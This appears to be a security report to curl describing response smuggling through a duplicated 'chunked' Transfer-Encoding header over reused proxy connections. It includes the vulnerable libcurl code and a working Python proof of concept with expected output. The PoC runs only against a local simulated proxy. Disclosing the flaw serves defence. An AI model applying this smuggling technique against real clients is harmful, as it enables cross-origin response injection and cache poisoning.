curl · Report #3795615
Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections
How it was found
TL;DR
A malicious HTTP origin can send Transfer-Encoding: chunked, chunked, gzip through a reusable HTTP proxy connection to bypass curl's "chunked must be last" guard, queue a forged HTTP response after its own response, and make curl parse that queued data as the response for a later request to a different origin.
Summary:
curl accepts the malformed HTTP/1.1 response header Transfer-Encoding: chunked, chunked, gzip.
curl already has a guard that rejects transfer codings listed after chunked, because chunked must be the final transfer coding, but a duplicate chunked entry bypasses that guard.
In Curl_build_unencoding_stack(), the duplicate-chunked branch returns CURLE_OK for the entire header instead of ignoring only the duplicate token and continuing to parse the later gzip token.
When curl uses an HTTP proxy, multiple target origins can share the same client-to-proxy TCP connection.
An attacker who controls only the first requested origin can send this malformed response and queue a forged HTTP response behind the first chunked body; curl can then reuse the proxy connection and parse those queued attacker bytes as the response for a later request to a different origin.
The attacker does not need to control the proxy, the client machine, or the later target origin. They only need the victim workflow to fetch an attacker-controlled HTTP URL before another HTTP URL through the same reusable HTTP proxy connection.
Affected versions
This appears to affect curl/libcurl versions starting with 8.8.0.
The vulnerable behavior was introduced by commit 886899143f; the first release containing that commit is 8.8.0.
I reproduced the issue on current repository HEAD 30c9c79cf8d2, built from https://github.com/curl/curl, on:
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
Release-Date: [unreleased]
Protocols: file ftp http ipfs ipns ws
Features: alt-svc AsynchDNS IPv6 Largefile libz threadsafe UnixSockets
Platform:
Linux yanzhen 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Relevant code paths:
/* lib/http.c */
result = Curl_build_unencoding_stack(data, v, TRUE);
/* lib/content_encoding.c */
cwt = find_unencode_writer(name, namelen, phase);
if(cwt && is_chunked && Curl_cwriter_get_by_type(data, cwt)) {
CURL_TRC_WRITE(data, "ignoring duplicate 'chunked' decoder");
return CURLE_OK;
}
if(is_transfer && !is_chunked &&
Curl_cwriter_get_by_name(data, "chunked")) {
failf(data, "Reject response due to 'chunked' not being the last "
"Transfer-Encoding");
return CURLE_BAD_CONTENT_ENCODING;
}
The early return CURLE_OK skips the later gzip token in Transfer-Encoding: chunked, chunked, gzip, so the existing "chunked not last" rejection is never reached.
Steps To Reproduce:
Run the following self-contained PoC from a curl source checkout after building src/curl. It does not call any local PoC file. It starts a local HTTP proxy simulator, makes one request to attacker.test followed by one request to victim.test in the same curl process, and checks whether bytes queued after the first response are parsed as the second origin's response.
python3 <<'PY'
import os, shutil, socket, subprocess, threading, time
curl_bin = os.environ.get("CURL_BIN")
if not curl_bin:
curl_bin = "./src/curl" if os.path.exists("./src/curl") else shutil.which("curl")
if not curl_bin:
raise SystemExit("Set CURL_BIN or run from a curl checkout with ./src/curl")
def read_headers(conn):
data = b""
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
return data
def run_case(te_value):
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 0))
listener.listen(1)
port = listener.getsockname()[1]
seen_requests = []
def proxy():
conn, _ = listener.accept()
conn.settimeout(5)
try:
seen_requests.append(read_headers(conn))
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
+ b"Transfer-Encoding: " + te_value.encode("ascii") + b"\r\n"
+ b"Connection: keep-alive\r\n\r\n"
+ b"5\r\nHELLO\r\n0\r\n\r\n"
)
# Attacker-controlled bytes queued after the first response.
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 9\r\n"
b"Connection: keep-alive\r\n\r\n"
b"SMUGGLED!"
)
try:
seen_requests.append(read_headers(conn))
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 7\r\n"
b"Connection: close\r\n\r\n"
b"BENIGN\n"
)
except Exception:
pass
finally:
conn.close()
listener.close()
threading.Thread(target=proxy, daemon=True).start()
proc = subprocess.run(
[
curl_bin,
"-q",
"--http1.1",
"--proxy", f"http://127.0.0.1:{port}",
"-sS",
"-v",
"http://attacker.test/one",
"http://victim.test/two",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
)
return proc, seen_requests
print(subprocess.check_output([curl_bin, "--version"], text=True).splitlines()[0])
control, _ = run_case("chunked, gzip")
control_err = control.stderr.decode("latin1", "replace")
print("control_exit:", control.returncode)
print("control_rejected:", "A Transfer-Encoding (gzip) was listed after chunked" in control_err)
vuln, seen = run_case("chunked, chunked, gzip")
vuln_out = vuln.stdout.decode("latin1", "replace")
vuln_err = vuln.stderr.decode("latin1", "replace")
print("vulnerable_exit:", vuln.returncode)
print("vulnerable_stdout:", vuln_out)
print("second_request_reached_proxy:", len(seen) >= 2)
print("proxy_connection_reused:", "Reusing existing http: connection with proxy" in vuln_err)
if (
"A Transfer-Encoding (gzip) was listed after chunked" in control_err
and vuln.returncode == 0
and vuln_out == "HELLOSMUGGLED!"
and len(seen) >= 2
and "Reusing existing http: connection with proxy" in vuln_err
):
print("VULNERABLE: queued attacker bytes were parsed as the second origin response")
else:
print("NOT REPRODUCED")
print(vuln_err)
raise SystemExit(1)
PY
Expected output on a vulnerable build:
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
control_exit: 56
control_rejected: True
vulnerable_exit: 0
vulnerable_stdout: HELLOSMUGGLED!
second_request_reached_proxy: True
proxy_connection_reused: True
VULNERABLE: queued attacker bytes were parsed as the second origin response
The control case proves that curl correctly rejects Transfer-Encoding: chunked, gzip.
The vulnerable case proves that adding a duplicate chunked token changes the result: curl accepts Transfer-Encoding: chunked, chunked, gzip, consumes HELLO as the first response body, then parses SMUGGLED! as the body of the second request to victim.test.
Impact
Summary:
An attacker who controls one ordinary HTTP origin can make curl/libcurl parse queued attacker bytes as the response for a later request to a different origin when an HTTP/1.1 proxy connection is reused. The attacker does not need local access, proxy control, or control of the later origin; they only need the victim workflow to fetch the attacker URL first through the same proxy. This can cause cross-origin response injection, cache poisoning, corrupted fetcher/proxy output, or incorrect trust decisions.